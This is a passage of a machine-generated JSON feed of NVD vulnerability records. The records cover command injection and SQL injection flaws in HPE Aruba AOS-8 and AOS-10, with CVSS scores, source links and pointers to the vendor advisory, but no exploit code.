AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.583Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44869","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44869","type":"primary","publishedAt":"2026-05-12T20:16:45.583Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44868","cveId":"CVE-2026-44868","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.467Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44868","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44868","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44868","type":"primary","publishedAt":"2026-05-12T20:16:45.467Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44867","cveId":"CVE-2026-44867","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.350Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44867","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44867","type":"primary","publishedAt":"2026-05-12T20:16:45.350Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44866","cveId":"CVE-2026-44866","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.243Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44866","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44866","type":"primary","publishedAt":"2026-05-12T20:16:45.243Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44865","cveId":"CVE-2026-44865","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.","summary":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.137Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44865","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44865","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44865","type":"primary","publishedAt":"2026-05-12T20:16:45.137Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44864","cveId":"CVE-2026-44864","aliases":[],"kind":"vulnerability","title":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.","summary":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.","detail":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:45.033Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44864","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44864","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44864","type":"primary","publishedAt":"2026-05-12T20:16:45.033Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44863","cveId":"CVE-2026-44863","aliases":[],"kind":"vulnerability","title":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.","summary":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.","detail":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.923Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44863","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44863","type":"primary","publishedAt":"2026-05-12T20:16:44.923Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44862","cveId":"CVE-2026-44862","aliases":[],"kind":"vulnerability","title":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.","summary":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.","detail":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.820Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44862","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44862","type":"primary","publishedAt":"2026-05-12T20:16:44.820Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44861","cveId":"CVE-2026-44861","aliases":[],"kind":"vulnerability","title":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.","summary":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.","detail":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.720Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44861","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44861","type":"primary","publishedAt":"2026-05-12T20:16:44.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44860","cveId":"CVE-2026-44860","aliases":[],"kind":"vulnerability","title":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.","summary":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.","detail":"SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:44.620Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"arubanetworks","product":"arubaos","stacks":["Arubanetworks","arubaos"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44860","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44860","type":"primary","publishedAt":"2026-05-12T20:16:44.620Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD 